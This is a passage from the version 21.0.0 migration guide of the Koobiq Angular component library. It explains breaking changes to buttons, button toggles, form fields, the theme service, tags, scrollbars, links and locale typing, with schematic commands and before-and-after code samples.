**A color read from an enum member** — `[color]="colors.Error"` — is reported with a file name and a line number, but not rewritten: the expression is not resolved, so the member name alone does not prove which enum it comes from. Remove the binding to keep the style's default, or pick a supported color. Programmatic assignments such as `button.color = KbqComponentColors.Error` are reported the same way.

**Members typed `KbqComponentColors` / `ThemePalette`.** The wide type no longer assigns to a button `color` binding — narrow it to `KbqButtonColor`:

```ts
type Action = {
    style: KbqButtonStyleInput; // was KbqButtonStyles | string
    color: KbqButtonColor; // was KbqComponentColors
};
```

Check values built inside `Array.from` / `map` callbacks separately: without a return-type annotation an enum member widens to the whole enum and stops assigning even when every value is supported.

```ts
Array.from({ length: 3 }, (_, i): Action => ({ color: KbqComponentColors.ContrastFade, style: '' }));
```

**`kbqOkType`** on `KbqModalComponent` and `ModalOptions` was narrowed from `string` to `KbqButtonColor` — it colors the predefined OK button.

**Stylesheets targeting `.kbq-button_transparent.kbq-contrast-fade`** are reported: the selector no longer matches, because a transparent button is `contrast` now. Point it at `.kbq-contrast` — or drop it, if it was a workaround for the transparent button rendering unstyled.

**Changes with no textual signature.** A transparent button with no explicit color renders in `contrast` instead of `contrast-fade`, and the `color` getter reads back accordingly. A style paired with a color the design system does not define renders in the style default instead of as a native button. `KbqButtonGroupRoot` no longer propagates a color it was never given — each nested button follows the default color of its own style, while a color bound on the group still overrides that default.

#### Button-toggle review (21.0.0)

The review of `kbq-button-toggle` gave the control the semantics it always behaved with. A single-selection group is now announced as a `radiogroup` of radio buttons and navigated like one; a `multiple` group is announced as a `group` of toggle buttons.

##### What changed in the markup and on the keyboard

| Surface                                    | Before                     | After                                                                                        |
| ------------------------------------------ | -------------------------- | -------------------------------------------------------------------------------------------- |
| `<kbq-button-toggle-group>`                | no role, no way to name it | `role="radiogroup"`, or `role="group"` with `multiple`; an `aria-label` is announced with it |
| `<kbq-button-toggle-group>`, radio group   | no orientation             | `aria-orientation`, following `vertical`                                                     |
| inner `<button>`, single selection         | no role, no state          | `role="radio"` + `aria-checked`                                                              |
| inner `<button>`, `multiple` or standalone | no state                   | `aria-pressed`                                                                               |
| Tab in a single-selection group            | every toggle is a tab stop | one tab stop — the selected toggle, or the first enabled one                                 |
| arrow keys                                 | nothing                    | move focus and selection together; `Home`/`End` jump to the ends                             |

Selection used to be readable from the `.kbq-selected` class alone, which assistive tech does not see. Tests that count tab stops, snapshot the rendered markup or drive the group with arrow keys will notice the difference.

**An icon-only toggle needs a name.** `aria-label` and `aria-labelledby` are now inputs of `KbqButtonToggle` and are forwarded to the inner button. A toggle that projects nothing but icons and has no name logs a dev-mode warning — diagnostic only, but it will point at your own markup, because an icon glyph is `aria-hidden`.

**`[kbq-button]` no longer removes a `role` from a host that is not an anchor.** The host binding used to write `null` over whatever the consumer authored. Anchors are unaffected: one without `href` is still announced as `role="button"`.

##### Running the migration

The `button-toggle-signals-and-aria` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:button-toggle-signals-and-aria --project "<your project>"
```

##### What is fixed automatically

**Reads of the two inputs that became signals**, on receivers annotated `KbqButtonToggleGroup` and through a `#ref="kbqButtonToggleGroup"` template reference variable (external and inline templates):

- group.vertical → group.vertical(),
- group.multiple → group.multiple()

Receivers are resolved within the file: an explicit type annotation, an import under an alias (`KbqButtonToggleGroup as Group`), and a `viewChild()` / `contentChild()` / `inject()` initialiser are all recognised, and a nested declaration of the same name shadows the group rather than being rewritten as one. What is left over is a receiver whose type lives in another file (`const g = this.group; g.multiple`), which is reported instead. Every replacement is idempotent.

**Icon-only toggles with no accessible name are reported with their line number.** Every `<kbq-button-toggle>` whose content holds an icon and no text at all, and that carries no `aria-label` / `aria-labelledby`, is listed. A `title` does not count: it stays on `<kbq-button-toggle>`, while the accessible name is computed for the inner `<button>` and the attribute never reaches it. The schematic cannot invent the text, but it finds the places the new dev-mode warning will fire in.

##### What you need to fix manually

**`vertical` and `multiple` are signal inputs.** Template bindings are unchanged; reads and imperative writes are not:

A read gains a call; a write has nowhere to go, because an `input()` has no `.set()` — bind it in the template and drive the bound value:

```ts
// Before
group.vertical = true;
if (group.multiple) { ... }

// After
this.isVertical = true; // <kbq-button-toggle-group [vertical]="isVertical">
if (group.multiple()) { ... }
```

**`emitChangeEvent()` takes the toggle the change came from.** It used to read the source off the selection, which is empty right after the last toggle of a multiple-selection group is unchecked — `KbqButtonToggleChange.source` came out `undefined` there, against its own type. The group passes the interacted toggle now; a call of your own has to do the same:

```ts
// Before
group.emitChangeEvent();

// After
group.emitChangeEvent(toggle);
```

**Members that were never meant to be public are gone or narrowed.** `buttonToggleGroup` is `protected` (it was typed non-null while being `null` for a standalone toggle), `icons` is private, and the dead `mcButton` view query was removed. Use `focus()`, which now focuses the inner button instead of the non-focusable host, or the new `focusViaKeyboard()`.

**`type` and `iconType` are read-only getters** rather than writable fields, and `type` follows `multiple` at runtime instead of being frozen in `ngOnInit`.

**Types tightened.** `selected` is `KbqButtonToggle | KbqButtonToggle[] | null`, `buttonToggles()` is `readonly KbqButtonToggle[]`, `onTouched` and `registerOnTouched` take `() => void`, and `KBQ_BUTTON_TOGGLE_GROUP_VALUE_ACCESSOR` is a `Provider`. `value` stays `any`.

**`disabled` on a standalone toggle is a real `boolean`.** It used to return the group it could not find — `null` — whenever the toggle was not disabled itself. Falsy either way, but `=== false` and `typeof` checks behaved differently.

**`tabIndex` defaults to `null`** instead of `undefined`, which is what its declared type always said.

**`markForCheck()` on a toggle is no longer called by the library.** A toggle derives `checked` and `disabled` from signals owned by its group and re-renders on its own. The method is kept for back-compatibility.

**A `value` that matches no toggle is kept instead of being dropped.** The group used to report whatever was selected, so an assignment made before the toggles were rendered — or naming a toggle that never appears — came back out as an empty selection, wiping a `[(value)]` model and leaving an `NG0100` behind. The assigned value now stays reported until a toggle takes it, the same contract `KbqRadioGroup` documents, which means it is applied to a toggle rendered later:

```html
<!-- `group.value` is 'blue' from the start; the toggle picks it up when `show` turns true -->
<kbq-button-toggle-group [(value)]="color">
    @if (show()) {
    <kbq-button-toggle [value]="'blue'">Blue</kbq-button-toggle>
    }
</kbq-button-toggle-group>
```

It follows that `value` can name a toggle `selected` does not hold — `selected` only ever reports toggles that exist, so it stays `null` (or `[]`) while the value waits. Code that read `group.value` as proof of a selection has to check `group.selected` instead. A user interaction replaces the waiting value, and so does the toggle holding it leaving the selection.

**`valueChange` no longer echoes a value that was just assigned.** It fires when the group's value actually changes, not for every write: assigning what the group already reports, or what it answers with unchanged, emits nothing. That is what stops a two-way binding from being written back over. Code that used `(valueChange)` as an "assignment happened" signal, or a test counting emissions during init, needs re-checking — `(change)` still fires per interaction.

**Changing the `value` of the selected toggle changes the value of the group.** The group follows it and reports it through `valueChange`, so `[(value)]` stays in step; a form control keeps its value until the user picks a toggle, as for any change made from code.

**The group implements `OnDestroy` and no longer emits after teardown.** A selected toggle schedules its own removal from the selection on a microtask, which used to outlive the group and reach it with a `valueChange` once the whole group had already been destroyed. The group ignores that late sync now. A test asserting the old emission, or code that relied on it to clean up after a destroyed group, needs re-checking.

**Styles.** The keyboard-focus `border-color` is set by the theme alone, from `--kbq-button-toggle-item-states-focused-outline`; the structural stylesheet no longer declares it from the raw `--kbq-states-line-focus-theme` token, so overriding the component token works regardless of import order. The theme also stopped targeting `.kbq-icon-button`, a class `KbqButton` never emitted, in favour of `.kbq-button-icon`.

#### Form field review (21.0.0)

The review of `<kbq-form-field>` finished the move of the container and the hint family to signals, gave the icon-only cleaner and password toggle real button semantics, and removed the deprecated `mixinColor`. Most of it stops your code from compiling, but the accessibility part changes rendered markup silently.

**The content queries and their `has*` getters are signals.** `control`, `stepper` and `connectionContainerRef` were already signals and are unchanged; everything else moved in this release:

| Member                                                                               | Before             | After                    |
| ------------------------------------------------------------------------------------ | ------------------ | ------------------------ |
| `cleaner`, `passwordToggle`                                                          | `T \| null`        | `Signal<T \| undefined>` |
| `hint`, `prefix`, `suffix`                                                           | `QueryList<T>`     | `Signal<readonly T[]>`   |
| `hasCleaner`, `hasHint`, `hasPasswordToggle`, `hasPrefix`, `hasStepper`, `hasSuffix` | getter             | `Signal<boolean>`        |
| `hasError`, `hasLabel`, `hasReactivePasswordHint`                                    | `protected` getter | `protected` signal       |

`passwordHints` and `hasPasswordHint` were removed together with `KbqPasswordHint`: see Form field under Deprecated API removal (21.0.0).

**The hint inputs are signals.** `fillTextOff` and `compact` became signal inputs on `KbqHint` and everything that extends it — `KbqError` and `KbqReactivePasswordHint`. Template bindings (`[fillTextOff]`, `[compact]`) are unaffected.

**The cleaner and the password toggle are buttons now.** Both were focusable graphics with no role and no accessible name. `<kbq-cleaner>` renders `role="button"` and a localized `aria-label`, and activates on `Space` as well as `Enter`. The toggle's icon renders `role="button"`, an `aria-label` that follows the state ("Show password" / "Hide password") and `aria-pressed`. Because the cleaner now owns the `aria-label` host binding, an `[attr.aria-label]` written by hand is overwritten — it has to move to the new `[aria-label]` input.

**The form field describes its control.** Hints and the error are linked to the control through `aria-describedby`, `kbq-error` renders `role="alert"`, and `KbqInput` / `KbqInputPassword` / `KbqSelect` render `aria-invalid` (`KbqSelect` also renders `aria-required`). Nothing here breaks a build — it changes rendered markup.

**`mixinColor` was removed.** It was deprecated, unused inside the library, and logged a dev-mode warning on every instance. `KbqColorDirective` replaces it and exposes the same `color` input.

**`KbqFormFieldControl` is signal-based.** The form field used to re-check its control whenever the control emitted `stateChanges`. Now `value`, `id`, `placeholder`, `focused`, `empty`, `required`, `disabled` and `errorState` are signals, `stateChanges` is gone, and the form field derives its own state from them. The built-in controls expose that state as signals too: `KbqInput`, `KbqInputPassword`, `KbqTextarea`, `KbqSelect`, `KbqTreeSelect`, `KbqTimezoneSelect`, `KbqTagList`, `KbqTimepicker` and `KbqDatepickerInput`. Their `errorStateMatcher` is a signal input. Template bindings (`[value]`, `[disabled]`, `[placeholder]`, `[required]`, `[id]`) are unaffected.

##### Running the migration

The `form-field-signals` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:form-field-signals --project "<your project>"
```

##### What is fixed automatically

**Reads of the migrated members become calls**, both in TypeScript and through a template reference variable:

```ts
// Before
if (formField.hasCleaner && formField.hint.length && hint.fillTextOff) {
}

// After
if (formField.hasCleaner() && formField.hint().length && hint.fillTextOff()) {
}
```

```html
<!-- Before -->
<kbq-form-field #field="kbqFormField">…</kbq-form-field>
<span>{{ field.hasHint }}</span>

<!-- After -->
<span>{{ field.hasHint() }}</span>
```

A receiver is matched by its explicit type annotation (`KbqFormField`, `KbqHint`, `KbqError`, `KbqReactivePasswordHint`) — parameters, class fields including content queries, constructor parameter-properties and typed locals.

**Reads of a control's state become calls**, and a write goes through `.set()` where the member stays writable: `disabled` on `KbqSelect`, `KbqTreeSelect`, `KbqTimezoneSelect`, `KbqTagList`, `KbqTimepicker` and `KbqDatepickerInput` (`select.disabled = true` → `select.disabled.set(true)`), `value` on `KbqInput`, `KbqInputPassword`, `KbqTextarea`, `KbqTagList`, `KbqSelect` and `KbqTimezoneSelect`. A value set on a select selects its options on the next change detection and does not emit `valueChange`. A template reference variable on `<kbq-select>`, `<kbq-tree-select>`, `<kbq-timezone-select>` or `<kbq-tag-list>` is migrated too.

**The cleaner's accessible name moves to the input:** `<kbq-cleaner [attr.aria-label]="label" />` → `<kbq-cleaner [aria-label]="label" />`.

**The misspelled stylesheet is renamed:** `_fiedset-theme.scss` became `_fieldset-theme.scss`, so `@use '…/form-field/fiedset-theme'` is rewritten.

##### What you need to fix manually

**The `QueryList` API is gone.** `hint`, `prefix` and `suffix` are signals over a readonly array, so `.changes`, `.first`, `.last`, `.toArray()` and `.get(i)` no longer exist. React to the queries with `computed()` / `effect()` instead of subscribing to `.changes`, and index the array directly. Every occurrence is reported with its file.

**`cleaner` and `passwordToggle` return `undefined`, not `null`.** A strict `=== null` comparison silently stops matching — use a truthiness check or `== null`.

**Assignments to `fillTextOff` and `compact` no longer compile.** They are read-only signal inputs; drive them with a template binding.

**Assignments to the `KbqFormField` content queries no longer compile either** — `cleaner`, `passwordToggle`, `hint`, `prefix` and `suffix` are read-only signals. `cleaner` was writable only because of an internal workaround, which is gone; the rest were a `QueryList`, which test code used to reassign to fake the projected content. Project the content into the form field instead.

**`hovered` and `onHoverChanged()` were removed.** Nothing read them, and their pointer listeners ran change detection on every hover. Bind `(mouseenter)` / `(mouseleave)` on `<kbq-form-field>` yourself, or style with `:hover`. Each use is reported with its file.

**`KBQ_FORM_FIELD_REF.control` is typed.** It used to be `any`, so `formField.control.placeholder` compiled and was silently `undefined` — the library had exactly that bug. Call the signal first: `formField.control().placeholder()` — the control's state is a signal as well.

**A custom form field control has to expose signals.** Implement each state member as a `Signal` — an `input()`, a `computed()` or a `signal()` the control writes — and drop `stateChanges`: the form field no longer subscribes to anything. Code that subscribed to `control.stateChanges` reads the signals in a `computed()` or an `effect()` instead.

```ts
// Before
export class ColorInput implements KbqFormFieldControl<string> {
    readonly stateChanges = new Subject<void>();
    focused = false;
    // value, id, placeholder, empty, required, disabled and errorState as plain properties

    onFocus() {
        this.focused = true;
        this.stateChanges.next();
    }
}

// After
export class ColorInput implements KbqFormFieldControl<string> {
    private readonly focusedState = signal(false);
    readonly focused = this.focusedState.asReadonly();
    readonly placeholder = input<string>();
    // value, id, empty, required, disabled and errorState as signals too

    onFocus() {
        this.focusedState.set(true);
    }
}
```

**The rest of a control's state is read-only.** Assignments to `placeholder`, `required` and `id` no longer compile, nor do assignments to `disabled` on the native-element controls and to `value` on `KbqTreeSelect`, `KbqTimepicker` and `KbqDatepickerInput`: bind them in the template, or set the value through a form control. Each write is reported with its file.

**`KbqInputPassword.elementType` is a read-only signal.** It was a writable `string`; it is a `Signal<'text' | 'password'>` now, and only `toggleType()` changes it. A read becomes a call — the schematic rewrites `password.elementType` to `password.elementType()`, also through a `#ref="kbqInputPassword"` — and an assignment no longer compiles: call `toggleType()` to show or hide the password. Each write is reported with its file.

**A custom `KBQ_INPUT_VALUE_ACCESSOR` or `KBQ_TEXTAREA_VALUE_ACCESSOR` may build a new object on every read of `value`.** `KbqInput`, `KbqInputPassword` and `KbqTextarea` take an object value as changed only together with a change of the element's text; a primitive value is compared as it is. An accessor whose object changes while the text stays the same hands it over with `value.set()` of the control.

**The error state helpers changed with it.** `KbqErrorStateTracker` no longer takes a `stateChanges` subject, and its `errorState` — like `CanUpdateErrorState.errorState` — is a `Signal<boolean>`; `CanUpdateErrorState` no longer declares `errorStateMatcher`. The deprecated `mixinErrorState` and `CanUpdateErrorStateCtor` were removed. `KbqIconErrorStateContext` is signal-based too, and so are `id`, `placeholder`, `focused` and `empty` of `KbqTagInput`: their reads become calls, a write is reported.

`KbqInput`, `KbqInputPassword`, `KbqTextarea`, `KbqSelect`, `KbqTreeSelect` and `KbqTagList` compute their error state with that tracker, which takes `defaultErrorStateMatcher`, `parentForm` and `parentFormGroup` when the control is created: assigning one of those fields afterwards has no effect, so provide an `ErrorStateMatcher` or bind `errorStateMatcher` instead. A matcher that returns `null` or `undefined` reports `false`.

**`KbqDatepicker` is no longer a form field control.** It provided the contract without implementing it; the form field now always finds the `kbqDatepicker` input. The input renders its `id` now, so the form field label is associated with it.

**Custom locale data needs three more `a11y` keys** — `clear`, `showPassword` and `hidePassword` — for the accessible names of the cleaner and the password toggle. A locale object literal without them stops type-checking; data registered through `KBQ_LOCALE_DATA` falls back to the ru-RU strings.

**Stylesheets that fought `!important`.** `.kbq-form-field_no-borders` and `.kbq-form-field_in-overlay` used `!important` to beat the state theme; they now override the `--kbq-form-field-*` tokens instead. The computed result is the same, but an override written specifically to outrank the old `!important` can be simplified.

#### Theme service review (21.0.0)

`KbqThemeService` replaces `ThemeService`: its state is signals, it has a built-in `auto` mode that follows the OS color scheme, and it persists the selection out of the box. `ThemeService`, `KbqTheme` and `KbqDefaultThemes` are removed in the same release: see Core under Deprecated API removal (21.0.0) for what `v21-upgrade` rewrites and reports.

**`current` and `getTheme()` become signals.** `currentTheme()` is the active `KbqThemeConfig`, the former `current.value`; `colorScheme()` is its strictly `'light' | 'dark'` polarity — reach for this, not a theme's `name`, when you just need to know which of the two you're in (e.g. driving CSS `light-dark()`); `mode()` is the selected mode: `'light'`, `'dark'` or `'auto'`.

```ts
// Before
themeService.current.pipe(map((theme) => theme?.className)).subscribe(...);

// After
themeService.currentTheme(); // read directly, or wrap with toObservable() if you need a stream
```

**`setTheme(index | theme)` gives way to `setMode()` and `selectTheme()`.** Selecting by array index was fragile once `auto` stopped being a regular registered theme. `setMode('light' | 'dark' | 'auto')` selects by polarity and `toggle()` switches between light and dark. `selectTheme(name)` pins one registered theme by name over the mode until `selectTheme(null)`, `setMode()` or `toggle()`; `staticTheme()` reads the pinned name.

**`auto` mode is handled inside the service.** If you were reading `window.matchMedia('(prefers-color-scheme: …)')` yourself and rewriting a theme's `className` to fake a "system" option (as the docs app used to), call `themeService.setMode('auto')` instead and read `currentTheme()`/`colorScheme()` — the OS listener and the DOM update are both handled internally now. `'auto'` is the default mode.

**Persistence is on by default.** The mode and the pinned theme are saved to `localStorage` (key `kbq-theme-mode` by default) and restored on init through the `KBQ_THEME_STORE` token, the same swappable-store pattern as `KBQ_STATE_STORE`. If you rolled your own persistence under a different key (as the docs app did, under `docs_theme`), configure `kbqThemeProvider({ storageKey: '…' })` instead of dropping it — existing users keep their saved preference, **provided the old value was already a mode** (`'light'`, `'dark'` or `'auto'`). If your old storage held something else (an index, a boolean, …), write a small `KbqThemeStore` wrapping `KbqThemeLocalStorageStore` that translates what `getMode()` returns before handing it back. `KbqThemeCookieStore` is also available for apps that render with live Angular SSR and want the initial server-rendered HTML to already reflect the visitor's saved selection — read its doc comment first, since it doesn't help a build-time prerendered/static site.

**Custom themes and DI-based setup.** `setThemes()` accepts an array of `KbqThemeConfig` objects, `{ name, className, colorScheme }`. `colorScheme` (`'light' | 'dark'`) is required: it is each theme's own polarity, independent of its `name`, and a mode resolves to the first registered theme whose `colorScheme` matches it; `colorScheme()` and `toggle()` key off it too. New: `kbqThemeProvider({ themes, mode, theme, storageKey })` configures the service through DI instead of calling `setThemes()`/`setTheme()` imperatively; `theme` pins a theme by name until the user selects something. The active theme is always applied as a CSS class on `<body>` — the design tokens' `.kbq-light`/`.kbq-dark` styles depend on it, so there's no attribute-based alternative.

#### Explicit tag content slots (21.0.0)

Until 21.0.0 every directly projected element with `kbq-icon` was placed before the tag text, regardless of its position in the template. This implicit rule made icon placement depend on the component's projection selector and made the markup easy to break. Tag content now has explicit `kbqTagPrefix` and `kbqTagSuffix` slots:

```html
<kbq-tag>
    <i kbqTagPrefix kbq-icon="kbq-circle-info_16"></i>
    Tag
    <i kbqTagSuffix kbq-icon="kbq-chevron-down-s_16"></i>
</kbq-tag>
```

`kbqTagRemove` and `kbqTagEditSubmit` are suffix controls already: `KbqTagSuffix` is attached to them through `hostDirectives`. Do not add `kbqTagSuffix` to the same element explicitly, because that applies the directive twice.

##### Running the migration

The `tag-slots` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually — for example, if you have already upgraded to 21.0.0:

```bash
ng g @koobiq/components:tag-slots --project "<your project>"
```

To preview the changes without writing them, use `--fix=false`:

```bash
ng g @koobiq/components:tag-slots --project "<your project>" --fix=false
```

##### What is fixed automatically

The schematic adds `kbqTagPrefix` to every legacy, directly projected `kbq-icon` that is not already assigned to a slot and is not a remove or edit-submit control:

```html
<!-- Before: the info icon rendered before the text despite its source position. -->
<kbq-tag>
    Tag
    <i kbq-icon="kbq-circle-info_16"></i>
    <i kbqTagRemove kbq-icon="kbq-xmark-s_16"></i>
</kbq-tag>

<!-- After: rendering is preserved by an explicit slot. -->
<kbq-tag>
    Tag
    <i kbqTagPrefix kbq-icon="kbq-circle-info_16"></i>
    <i kbqTagRemove kbq-icon="kbq-xmark-s_16"></i>
</kbq-tag>
```

Source order is not used to infer a suffix: under the old projection rule all such icons were prefixes. Existing `kbqTagPrefix`, `kbqTagSuffix`, `kbqTagRemove` and `kbqTagEditSubmit` attributes are left unchanged, so the migration is idempotent.

##### What you need to fix manually

**Intentional trailing content.** Add `kbqTagSuffix` yourself when an icon or another element should follow the label. The schematic cannot infer a new visual intent from markup whose old rendering always placed `kbq-icon` before the label.

**Content outside the legacy icon selector.** Elements with only `kbq-icon-button` or `kbq-icon-item`, nested consumer wrappers and nodes with `ngProjectAs` are left unchanged because they were not directly matched by the old `kbq-icon` slot. Review them only if you want to move them to one of the new slots.

**Standalone imports.** `KbqTagsModule` exports both slot directives. If a standalone component imports `KbqTag` directly instead of the module, also import `KbqTagPrefix` and/or `KbqTagSuffix` when using them; otherwise their host classes and slot spacing are not applied.

**Deprecated imperative placement and styles.** Replace calls to `addClassModificatorForIcons()` with explicit slot directives, and migrate custom selectors from `.kbq-icon_left` to `.kbq-tag-prefix`. The method and the old selector are deprecated and will be removed in 22.0.0.

#### Scrollbar overlayscrollbars implementation deprecation (21.0.0)

Until 21.0.0, `@koobiq/components/scrollbar` wrapped the third-party `overlayscrollbars` library: the `KbqScrollbar` component (`kbq-scrollbar` / `[kbq-scrollbar]`) and the low-level `KbqScrollbarDirective` (`[kbqScrollbar]`), with `options`, `events`, `defer` inputs and raw access to `scrollbarInstance`.

As of 21.0.0, `@koobiq/components/scrollbar` provides a new dependency-free `KbqScrollbar` component with the `<kbq-scrollbar>` selector and a different public API. The previous implementation has not gone away — it moved, unchanged, to `@koobiq/components/scrollbar/deprecated` and will be removed in 22.0.0.

##### Running the migration

The `scrollbar-deprecated-path` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:scrollbar-deprecated-path --project "<your project>"
```

##### What is fixed automatically

**The `@koobiq/components/scrollbar` import path is rewritten to `@koobiq/components/scrollbar/deprecated`** — in every `.ts` file, in both single- and double-quoted specifiers. The implementation itself and its public API (`options` / `events` / `defer` / `scrollbarInstance`, the `kbq-scrollbar` / `[kbq-scrollbar]` / `[kbqScrollbar]` selectors) are unchanged — only where you import them from changes.

```ts
// Before
import { KbqScrollbarModule } from '@koobiq/components/scrollbar';

// After
import { KbqScrollbarModule } from '@koobiq/components/scrollbar/deprecated';
```

##### What you need to fix manually

**Moving to the new implementation** is a separate, manual migration, not just an import path change: the new component uses the `<kbq-scrollbar>` selector and does not support the `[kbq-scrollbar]` or `[kbqScrollbar]` attribute selectors. Its public API differs from the previous implementation — see the [Scrollbar component documentation](https://koobiq.io/en/components/scrollbar.md) for details.

**Do not import both the old and the new implementation into the same standalone component.** Both use the `kbq-scrollbar` element selector, so Angular cannot choose a component unambiguously. During a gradual manual migration, keep old and new usage in separate components.

##### After moving to the new implementation

After fully moving to the new component and removing imports from `@koobiq/components/scrollbar/deprecated`, the `overlayscrollbars` dependency is no longer needed and can be removed:

```bash
npm uninstall overlayscrollbars
```

##### The kbq-scrollbar class

The global `kbq-scrollbar` class, styled by `koobiq-theme()`, and its variables are deprecated and will be removed in 22.0.0. Library components no longer carry the class, so these variables set on `.kbq-scrollbar` no longer reach the scrollbars of the autocomplete, code block, file upload, markdown, modal, popover, select, sidepanel, tabs, textarea or tree select. `v21-upgrade` reports the class, `kbq-scrollbar-theme()` and the variables the new scrollbar does not share.

| Deprecated, removed in 22.0.0                                                                                                                                                                                       | Use instead                                                                                                                                                |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| the `kbq-scrollbar` class, `kbq-scrollbar-theme()`                                                                                                                                                                  | `kbqNativeScrollbar` on the element that scrolls, with `kbqNativeScrollbarDescendants` for the scrollbars inside it as the class did, or `<kbq-scrollbar>` |
| `--kbq-scrollbar-size-track-dimension`                                                                                                                                                                              | `--kbq-scrollbar-track-size`                                                                                                                               |
| `--kbq-scrollbar-size-thumb-width`                                                                                                                                                                                  | `--kbq-scrollbar-thumb-gap`, the gap on each side of the thumb: (track size - thumb width) / 2                                                             |
| `--kbq-scrollbar-size-thumb-min-size`                                                                                                                                                                               | `--kbq-scrollbar-thumb-min-size`                                                                                                                           |
| `--kbq-scrollbar-size-thumb-border-radius`                                                                                                                                                                          | nothing: the thumb takes `--kbq-size-border-radius`                                                                                                        |
| `--kbq-scrollbar-thumb-default-background`, `--kbq-scrollbar-thumb-hover-background`, `--kbq-scrollbar-thumb-active-background`                                                                                     | the same variables                                                                                                                                         |
| `--kbq-scrollbar-thumb-disabled-background`                                                                                                                                                                         | nothing: the new scrollbar has no disabled state                                                                                                           |
| `--kbq-scrollbar-track-default-background`, `--kbq-scrollbar-track-hover-background`, `--kbq-scrollbar-track-active-background`                                                                                     | nothing: the class did not read them; the new scrollbar paints its track with `--kbq-scrollbar-track-background`                                           |
| `--kbq-scrollbar-track-default-border`, `--kbq-scrollbar-track-hover-border`, `--kbq-scrollbar-track-active-border`, `--kbq-scrollbar-size-track-padding-vertical`, `--kbq-scrollbar-size-track-padding-horizontal` | nothing: the class did not read them                                                                                                                       |

Set the variables on the element that carries `kbqNativeScrollbar` or on `<kbq-scrollbar>`: their defaults are declared on that element itself, as with the class.

#### Link component instead of the directive (21.0.0)

`@koobiq/components/link` now resolves to the `KbqLink` component with the `[kbqLink]` selector. It wraps the text itself and underlines only the text, while icons and the period ending a sentence go to the `kbqLinkPrefix` and `kbqLinkSuffix` slots. The `external` input adds the external link icon, the `size` input sets the size and the `underline` input the underline. The hover zone of a wrapped link covers the gap between its lines by itself. A link on any element but an `<a>` is a pseudo link by itself: it gets the `button` role and is pressed with Enter and Space. A click on a disabled link is stopped, a programmatic one included. The previous directive — `KbqLink` and `KbqLinkModule` with the `[kbq-link]` selector, whose markup needed the `kbq-link__text` wrapper and the `kbq-link_external` and `kbq-text-with-dot` classes — moved to `@koobiq/components/link/deprecated` unchanged and will be removed in a future major version.

**An unmigrated import breaks silently, which is the case the migration exists for.** Both entry points export `KbqLink` and `KbqLinkModule`, so the import keeps compiling but brings in the component with the `[kbqLink]` selector. The `kbq-link` attribute in the templates no longer matches anything, and the links lose their styles.

##### Running the migration

The `link-deprecated-path` schematic is registered for 21.0.0, so `ng update` to that version runs it on its own:

```bash
ng g @koobiq/components:link-deprecated-path --project "<your project>"
```

It rewrites the `@koobiq/components/link` specifier to `@koobiq/components/link/deprecated` in every `.ts` file. Templates need no changes: they keep working against the directive at its new path. Run it once, before moving anything to the component: it cannot tell an import pointed back at the component from an old one, and a second run moves that import to `/deprecated` again.

##### Moving to the component

This is a separate, manual step: point the import back at `@koobiq/components/link` and rewrite the markup.

| Before                                                       | After                                                                                     |
| ------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| `kbq-link`                                                   | `kbqLink`                                                                                 |
| `big` / `compact`                                            | `size="big"` / `size="compact"`                                                           |
| `noUnderline`                                                | `underline="none"`; nothing on a pseudo link, which got its underline on hover before too |
| `multiline`                                                  | Nothing: the hover zone of a wrapped link covers the gap between its lines by itself      |
| `pseudo` on a `<span>`, a `<button>` or a `<label>`          | Nothing: such a link is a pseudo link anyway                                              |
| `<span class="kbq-link__text">Text</span>`                   | `Text`                                                                                    |
| An icon before the text                                      | The icon with `kbqLinkPrefix`                                                             |
| An icon after the text                                       | The icon with `kbqLinkSuffix`                                                             |
| `class="kbq-link_external"` and the `kbq-north-east_16` icon | `external`                                                                                |
| `class="kbq-text-with-dot"` and `<span>.</span>`             | `<span kbqLinkSuffix>.</span>`                                                            |
| A caption or other content that is not underlined            | An element with `kbqLinkSuffix`                                                           |

```html
<!-- Before -->
<a class="kbq-link_external" href="https://koobiq.io" target="_blank" kbq-link>
    <span class="kbq-link__text">Technical support center</span>
    <i kbq-icon="kbq-north-east_16"></i>
</a>

<!-- After -->
<a href="https://koobiq.io" target="_blank" kbqLink external>Technical support center</a>
```

**`external` does not open the page in a new tab.** That still takes `target="_blank"`.

**A pseudo link gets the `button` role.** If you handled Enter and Space on it yourself, remove those handlers, call `preventDefault()` in them or give the element a role in the template: the component leaves a key that is already handled to its handler, and an element with a role of its own alone, together with its keyboard. A `<button>` and a `<label>` get neither the role nor the keyboard. A `<span>` that looked like a regular link is a pseudo link now, underlined only on hover; if it leads to a page, make it an `<a>` with a `href`.

**The CSS modifiers changed.** Styles written against the classes of the directive do not reach the component: `kbq-link_compact` and `kbq-link_big` became `kbq-link_size_compact` and `kbq-link_size_big`, `kbq-link_no-underline` became `kbq-link_underline_none`, the `print` attribute became `data-print`, and `kbq-text-only`, `kbq-text-with-icon`, `kbq-link_multiline` and `kbq-link_print` are gone, as are `kbq-icon_left` and `kbq-icon_right` on the icons inside a link. The links of `KbqMarkdownService` carry only the `kbq-markdown__a` class now.

**What every link repeated goes into one provider.** `kbqLinkOptionsProvider` sets the default `size`, the underline of links and pseudo links and `useVisited` for the whole application or for one injector.

**The link is a component now.** An element carries one component only, so `<label kbqLink kbqFileLoader>` fails with NG0300: put the link inside, `<label kbqFileLoader><span kbqLink>Browse</span></label>`. The link also renders its own content around what you project, so bind `[innerHTML]` on an element inside it rather than on the link.

**The directive and the component can be moved one at a time.** Their selectors differ, so both fit into one standalone component; the classes share their names, so one of the imports needs an alias: `import { KbqLink as KbqLinkDeprecated } from '@koobiq/components/link/deprecated'`.

#### Locale layer typing (21.0.0)

The locale layer is fully typed now, every localized component takes its strings through one shared
mechanism, and everything in that layer is named after the locale section it belongs to. Most of the
renaming is done for you by the `locale-configuration-providers` schematic; what it cannot rewrite is
listed below.

**`getParams()` resolves the section type.** A known section name returns its configuration type instead of
`any`; a dynamically-built string still returns `any`, so existing call sites keep working.

```ts
const { selectAll } = localeService.getParams('select'); // KbqSelectLocaleConfiguration
localeService.getParams('selection'); // not a section - now a compile error
```

**Custom locale data may be partial.** `addLocale()` and `KBQ_LOCALE_DATA` accept any subset of
